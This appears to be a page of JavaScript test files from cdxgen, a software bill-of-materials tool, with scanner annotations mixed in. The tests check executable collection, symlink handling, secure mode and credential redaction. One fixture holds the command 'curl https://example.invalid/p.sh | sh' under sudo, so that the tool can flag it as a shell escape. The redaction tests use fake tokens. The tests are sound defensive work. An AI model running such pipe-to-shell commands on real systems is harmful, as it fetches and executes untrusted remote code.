- [
- {
- name: "bash",
- path: "/usr/bin/bash",
- cmdline: "bash -c 'curl https://example.invalid/p.sh | sh'",
- Note: Pipes a downloaded script directly into a shell (curl | sh / wget | bash)
- Line 1,017 on GitHub
- parent_cmdline: "sudo bash -c payload",
- },
- ],
- false,
- );
- assert.strictEqual(components.length, 1);
- assert.ok(components[0].purl?.startsWith("pkg:swid/bash"));
- const propertyMap = Object.fromEntries(
- components[0].properties.map((property) => [
- property.name,
- property.value,
- ]),
- );
- assert.strictEqual(propertyMap["cdx:gtfobins:matched"], "true");
- assert.ok(propertyMap["cdx:gtfobins:names"].includes("bash"));
- assert.ok(propertyMap["cdx:gtfobins:functions"].includes("shell"));
- assert.ok(
- propertyMap["cdx:gtfobins:queryCategory"].includes("sudo_executions"),
- );
- });
- it("collectExecutables() prefers usr-merged executable paths", () => {
- if (process.platform === "win32") {
- return;
- }
- const tempDir = mkdtempSync(path.join(tmpdir(), "cdxgen-executables-"));
- try {
- mkdirSync(path.join(tempDir, "usr", "bin"), { recursive: true });
- mkdirSync(path.join(tempDir, "usr", "sbin"), { recursive: true });
- writeFileSync(path.join(tempDir, "usr", "bin", "which"), "#!/bin/sh\n");
- writeFileSync(
- path.join(tempDir, "usr", "sbin", "zramctl"),
- "#!/bin/sh\n",
- );
- chmodSync(path.join(tempDir, "usr", "bin", "which"), 0o755);
- chmodSync(path.join(tempDir, "usr", "sbin", "zramctl"), 0o755);
- symlinkSync(path.join(tempDir, "usr", "bin"), path.join(tempDir, "bin"));
- symlinkSync(
- path.join(tempDir, "usr", "sbin"),
- path.join(tempDir, "sbin"),
- );
- const result = collectExecutables(tempDir, [
- "/bin",
- "/usr/bin",
- "/sbin",
- "/usr/sbin",
- ]);
- assert.deepStrictEqual(result, ["usr/bin/which", "usr/sbin/zramctl"]);
- } finally {
- rmSync(tempDir, { recursive: true, force: true });
- }
- });
- it("collectExecutables() resolves followed symlink targets in dry-run mode", () => {
- if (process.platform === "win32") {
- return;
- }
- const tempDir = mkdtempSync(path.join(tmpdir(), "cdxgen-executables-"));
- setDryRunMode(true);
- resetRecordedActivities();
- try {
- mkdirSync(path.join(tempDir, "usr", "bin"), { recursive: true });
- writeFileSync(path.join(tempDir, "usr", "bin", "which"), "#!/bin/sh\n");
- chmodSync(path.join(tempDir, "usr", "bin", "which"), 0o755);
- symlinkSync(path.join(tempDir, "usr", "bin"), path.join(tempDir, "bin"));
- const result = collectExecutables(tempDir, ["/bin"]);
- assert.deepStrictEqual(result, ["usr/bin/which"]);
- const symlinkActivities = getRecordedActivities().filter(
- (activity) => activity.kind === "symlink-resolution",
- );
- for (const symlinkActivity of symlinkActivities) {
- assert.strictEqual(symlinkActivity.traceDetail, undefined);
- }
- } finally {
- setDryRunMode(false);
- resetRecordedActivities();
- rmSync(tempDir, { recursive: true, force: true });
- }
- });
- it("collectExecutables() skips files already owned by OS packages", () => {
- if (process.platform === "win32") {
- return;
- }
- const tempDir = mkdtempSync(path.join(tmpdir(), "cdxgen-executables-"));
- try {
- mkdirSync(path.join(tempDir, "usr", "bin"), { recursive: true });
- writeFileSync(path.join(tempDir, "usr", "bin", "owned"), "#!/bin/sh\n");
- writeFileSync(path.join(tempDir, "usr", "bin", "unowned"), "#!/bin/sh\n");
- chmodSync(path.join(tempDir, "usr", "bin", "owned"), 0o755);
- chmodSync(path.join(tempDir, "usr", "bin", "unowned"), 0o755);
- const result = collectExecutables(
- tempDir,
- ["/usr/bin"],
- ["/usr/bin/owned"],
- );
- assert.deepStrictEqual(result, ["usr/bin/unowned"]);
- } finally {
- rmSync(tempDir, { recursive: true, force: true });
- }
- });
- it("collectSharedLibs() preserves symlink alias entries while tracing resolutions", () => {
- if (process.platform === "win32") {
- return;
- }
- const tempDir = mkdtempSync(path.join(tmpdir(), "cdxgen-shared-libs-"));
- try {
- mkdirSync(path.join(tempDir, "usr", "lib"), { recursive: true });
- writeFileSync(path.join(tempDir, "usr", "lib", "libfoo.so.1"), "binary");
- symlinkSync(
- path.join(tempDir, "usr", "lib", "libfoo.so.1"),
- path.join(tempDir, "usr", "lib", "libfoo.so"),
- );
- const result = collectSharedLibs(tempDir, ["/usr/lib"]);
- assert.deepStrictEqual(result, [
- "usr/lib/libfoo.so",
- "usr/lib/libfoo.so.1",
- ]);
- } finally {
- rmSync(tempDir, { recursive: true, force: true });
- }
- });
- it("collectSharedLibs() skips libraries already owned by OS packages", () => {
- if (process.platform === "win32") {
- return;
- }
- const tempDir = mkdtempSync(path.join(tmpdir(), "cdxgen-shared-libs-"));
- try {
- mkdirSync(path.join(tempDir, "usr", "lib"), { recursive: true });
- writeFileSync(path.join(tempDir, "usr", "lib", "libowned.so.1"), "owned");
- writeFileSync(
- path.join(tempDir, "usr", "lib", "libunowned.so.1"),
- "unowned",
- );
- const result = collectSharedLibs(
- tempDir,
- ["/usr/lib"],
- undefined,
- undefined,
- ["/usr/lib/libowned.so.1"],
- );
- assert.deepStrictEqual(result, ["usr/lib/libunowned.so.1"]);
- } finally {
- rmSync(tempDir, { recursive: true, force: true });
- }
- });
- it("collectSharedLibs() adds only the extra globs it is given", () => {
- const tempDir = mkdtempSync(path.join(tmpdir(), "cdxgen-shared-libs-"));
- try {
- mkdirSync(path.join(tempDir, "usr", "lib"), { recursive: true });
- mkdirSync(path.join(tempDir, "usr", "lib", "apache2", "modules"), {
- recursive: true,
- });
- writeFileSync(path.join(tempDir, "usr", "lib", "libfoo.so"), "binary");
- writeFileSync(
- path.join(tempDir, "usr", "lib", "apache2", "modules", "libphp.so"),
- "module",
- );
- writeFileSync(
- path.join(tempDir, "usr", "lib", "apache2", "modules", "mod_other.so"),
- "module",
- );
- // glob answers with the host's separator, so Windows sees usr\lib\...
- const posixPaths = (files) =>
- files.map((file) => file.replaceAll("\\", "/"));
- // The default globs are one level deep and stay that way.
- assert.deepStrictEqual(
- posixPaths(collectSharedLibs(tempDir, ["/usr/lib"])),
- ["usr/lib/libfoo.so"],
- );
- // The opt-in glob reaches the Apache module directory but nothing else.
- assert.deepStrictEqual(
- posixPaths(
- collectSharedLibs(
- tempDir,
- ["/usr/lib"],
- undefined,
- undefined,
- [],
- ["**/usr/lib/apache2/modules/libphp*.so"],
- ),
- ),
- ["usr/lib/apache2/modules/libphp.so", "usr/lib/libfoo.so"],
- );
- } finally {
- rmSync(tempDir, { recursive: true, force: true });
- }
- });
- it("recordSymlinkResolution() normalizes mixed path separators before comparing paths", () => {
- setDryRunMode(true);
- resetRecordedActivities();
- try {
- const activity = recordSymlinkResolution(
- "usr\\bin\\which",
- "usr/bin/which",
- );
- assert.strictEqual(activity, undefined);
- assert.deepStrictEqual(getRecordedActivities(), []);
- } finally {
- setDryRunMode(false);
- resetRecordedActivities();
- }
- });
- it("recordSymlinkResolution() normalizes failed resolution paths without exposing trace detail", () => {
- setDryRunMode(true);
- resetRecordedActivities();
- try {
- recordSymlinkResolution("/tmp/root/usr/lib/libfoo.so", undefined, {
- basePath: "/tmp/root",
- errorCode: "ENOENT",
- metadata: {
- resolutionKind: "shared-library",
- },
- status: "failed",
- });
- const symlinkActivity = getRecordedActivities().find(
- (activity) => activity.kind === "symlink-resolution",
- );
- assert.ok(symlinkActivity);
- assert.strictEqual(symlinkActivity.target, "usr/lib/libfoo.so");
- assert.strictEqual(symlinkActivity.errorCode, "ENOENT");
- assert.strictEqual(symlinkActivity.traceDetail, undefined);
- assert.strictEqual(symlinkActivity.resolvedPath, undefined);
- assert.strictEqual(symlinkActivity.status, "failed");
- } finally {
- setDryRunMode(false);
- resetRecordedActivities();
- }
- });
- });
- it("readEnvironmentVariable() reads only variables set in the environment", () => {
- Object.prototype.CDXGEN_INHERITED_TEST_VAR = "polluted";
- process.env.CDXGEN_OWN_TEST_VAR = "own";
- try {
- assert.strictEqual(
- readEnvironmentVariable("CDXGEN_INHERITED_TEST_VAR"),
- undefined,
- );
- assert.strictEqual(readEnvironmentVariable("toString"), undefined);
- assert.strictEqual(readEnvironmentVariable("CDXGEN_OWN_TEST_VAR"), "own");
- if (platform() === "win32") {
- // Windows environment names ignore case.
- assert.strictEqual(readEnvironmentVariable("cdxgen_own_test_var"), "own");
- assert.ok(readEnvironmentVariable("Path"));
- }
- } finally {
- delete Object.prototype.CDXGEN_INHERITED_TEST_VAR;
- delete process.env.CDXGEN_OWN_TEST_VAR;
- }
- });
- describe("isSecureMode", () => {
- // The constant is fixed when the module loads, so the flag has to reach a
- // fresh node process. Bun and deno have no permission model.
- it("is on when --permission is passed on the node command line", () => {
- if (process.versions?.bun || process.versions?.deno) {
- return;
- }
- const activityUrl = new URL("./activity.js", import.meta.url).href;
- const env = { ...process.env };
- delete env.CDXGEN_SECURE_MODE;
- delete env.NODE_OPTIONS;
- const result = spawnSync(
- process.execPath,
- [
- "--permission",
- "--allow-fs-read=*",
- "--input-type=module",
- "-e",
- `const { isSecureMode } = await import(${JSON.stringify(activityUrl)}); console.log(isSecureMode);`,
- ],
- { encoding: "utf-8", env },
- );
- assert.strictEqual(result.status, 0, result.stderr);
- assert.strictEqual(result.stdout.trim(), "true");
- });
- });
lib/core/outputRedaction.poku.js · Bundled script · 71 lines · 1 finding marked
- import process from "node:process";
- import { assert, describe, it } from "poku";
- import { redactPackageManagerOutput } from "./outputRedaction.js";
- function withEnv(variables, callback) {
- const saved = Object.fromEntries(
- Object.keys(variables).map((name) => [name, process.env[name]]),
- );
- try {
- Object.assign(process.env, variables);
- return callback();
- } finally {
- for (const [name, original] of Object.entries(saved)) {
- if (original === undefined) {
- delete process.env[name];
- } else {
- process.env[name] = original;
- }
- }
- }
- }
- describe("redactPackageManagerOutput()", () => {
- it("removes token-like segments from index URL paths", () => {
- const output = [
- "Looking in indexes: http://pypi.example.com:8080/aB3dE5fG7hJ9kL1mN2pQ/simple/",
- "Downloading https://files.example.com/packages/internal_sdk-2.4.0-py3-none-any.whl#sha256=abc",
- "GET https://registry.example.com/npm/ghp_R7mQ2xV9bT4nL8cW3zD6hJ1fS5gY0aE2uK7p/pkg",
- Dismissed after review: Contains what looks like a hardcoded GitHub token
- Line 30 on GitHub
- ].join("\n");
- const redacted = redactPackageManagerOutput(output);
- assert.ok(redacted.includes("http://pypi.example.com:8080/***/simple/"));
- assert.ok(
- redacted.includes(
- "https://files.example.com/packages/internal_sdk-2.4.0-py3-none-any.whl#sha256=abc",
- ),
- );
- assert.ok(redacted.includes("https://registry.example.com/npm/***/pkg"));
- assert.ok(!redacted.includes("aB3dE5fG7hJ9kL1mN2pQ"));
- assert.ok(!redacted.includes("ghp_"));
- });
- it("replaces the values of credential-like environment variables", () => {
- withEnv(
- {
- PIP_EXTRA_INDEX_URL: "https://pypi.internal.example/Zq7tokenRw2/",
- CDXGEN_TEST_DEPLOY_TOKEN: "Vb8nexusQz41mX",
- CDXGEN_TEST_REPO_PSW: "Ht5portalLw93cN",
- CDXGEN_TEST_SHORT_TOKEN: "abc",
- },
- () => {
- const redacted = redactPackageManagerOutput(
- "ERROR: https://pypi.internal.example/Zq7tokenRw2/ refused Vb8nexusQz41mX; Ht5portalLw93cN abc",
- );
- assert.strictEqual(redacted, "ERROR: *** refused ***; *** abc");
- },
- );
- });
- it("redacts the message of an Error without its spawn arguments", () => {
- const error = Object.assign(
- new Error("spawnSync pip ENOENT https://u:pw@host/simple?token=x"),
- { spawnargs: ["--index-url", "https://u:pw@host/simple"] },
- );
- assert.strictEqual(
- redactPackageManagerOutput(error),
- "Error: spawnSync pip ENOENT https://***:***@host/simple?***",
- );
- });
- });
Ratings and comments
Sign in to rate this skill.
Sign inFree to use. If it’s helped, pass it on.